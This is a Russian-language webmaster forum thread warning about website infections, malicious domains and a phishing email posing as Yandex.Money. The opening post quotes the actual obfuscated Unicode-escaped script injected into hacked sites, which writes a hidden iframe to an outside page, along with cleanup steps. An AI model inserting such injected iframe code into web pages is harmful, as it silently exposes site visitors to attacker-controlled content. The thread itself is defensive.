Внимание! Вирусы!

[kapa]

ВНИМАНИЕ ВИРУС! Trojan-Clicker.HTML.IFrame.bk
--------------------------------------------------
СЛЕДЫ В КОДЕ:
<script type="text/javascript">document.write('\u003c\u0069\u0066\u00 72\u0061\u006d\u0065\
u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0 074\u0070\u003a\u002f\u002f\u006f\u006b\
u006e\u0061\u002d\u006b\u006f\u006d\u0066\u006f\u0 072\u0074\u002e\u0072\u0075\u002f\u0063\
u0067\u0069\u002f\u0069\u006e\u0064\u0065\u0078\u0 02e\u0070\u0068\u0070\u0022\u0020\u0073\
u0074\u0079\u006c\u0065\u003d\u0022\u0076\u0069\u0 073\u0069\u0062\u0069\u006c\u0069\u0074\
u0079\u003a\u0020\u0068\u0069\u0064\u0064\u0065\u0 06e\u003b\u0020\u0064\u0069\u0073\u0070\
u006c\u0061\u0079\u003a\u0020\u006e\u006f\u006e\u0 065\u0022\u003e\u003c\u002f\u0069\u0066\
u0072\u0061\u006d\u0065\u003e')</script>
---------------------------------------------------------
сначала просто удалил. помогло. но пля опять лезет.
---------------------------------------------------------
1) удалить код
2) проверить по ссылкам кто болеет
3) сменить коды админки
4) грешил на фтп.
5) потом боролся и нейтрализовал RootKit
одной очень прикольной утилитой AVZ )))
6) выпил, еще выпил.
--------------------------------
7) SAPE рулит. )))

[A1NX]

Смотрите папку с кодом сапы на вашем взломанном сайте. Номер уникален для юзера. Обращаетесь в тех поддержку, называете ид, банят аккаунт этот или исключают ваш сайт из него.

[windtalker]

вообщем купил ссылки а там троян стоит
все сайты с именем htttp://****kredit.ru

for example (1___http://www.omskkredit.ru
2___http://www.penzakredit.ru
3___http://www.tulakredit.ru)

BlackList всем и абуза хостеру

[Ank]

Внимание!
Сейчас получил письмо, якобы от Яндекса
"Согласно пункту 4.6.2.5. Соглашения об использовании Системы ⌠Яндекс.Деньги■, Ваш счет заблокирован."
Во первых - плохо сделанная подделка!
Во вторых - троян!
НЕ ХОДИТЕ ПО ССЫЛКАМ В ЭТОМ ПИСЬМЕ, НЕ ОТКРЫВАЙТЕ ЕГО, вы же все в виндах сидите! И уж тем паче - не вводите туда никакие пароли!
к вопросу о безопасности ЯДа...

[Wink]

Сообщение от Ank

Внимание!
Сейчас получил письмо, якобы от Яндекса

Стоит переслать письмо саппорту Яндекса. Они на такое мгновенно реагируют.

[Anatoly]

Сообщение от Ank

к вопросу о безопасности ЯДа...

К вопросу о наличии мозга у юзера в винде.

Мне как-то присылали подобные письмена, типа "зайди по этой ссылке - там много яндекс.денег нахаляву выплачивают". Даже и не подумал заходить.

[windtalker]

_ttp://eco-store.ru - ссылка на вирус

причем тот же самый что был в предыдущем сообщениии
сайт источник-трояна - cyb3rz.org

[Администрация 6-ой палаты]

Ребят, я че-то не пойму, вы че шнягой то пользуетесь, я имею ввиду тех, кто попался на вирусы!!! Пользуйтесь Касперским либо же Оутпостом, У меня Касперский хотя и весит 3.4 гб но не разу еще не подвел!!! А до ентого как стал пользоваться касперским, так я винду не успевал переустанавливать!!!


А лучше будет, если Касперского вместе с Оутпостом держать, они почему-то совсем не конфликтуют!!!

[Execurion]

при заходе на сайт ____://krutani.ru/ загружается вирусы

[Администрация 6-ой палаты]

Сообщение от Execurion

при заходе на сайт ____://krutani.ru/ загружается вирусы

А вот сейчас там пишеться следующее

"Мы получили требование из отдела К ГУВД по Иркутской области закрыть ваш сервер в связи с нарушением вами ст.273 УК РФ. В случае неподчинения мы пойдём как соучасники и потеряем свою лицензию. С претензиями обращайтесь в суд, либо в отдел К по адресу 664003 Иркутск, ул.Литвинова, 15"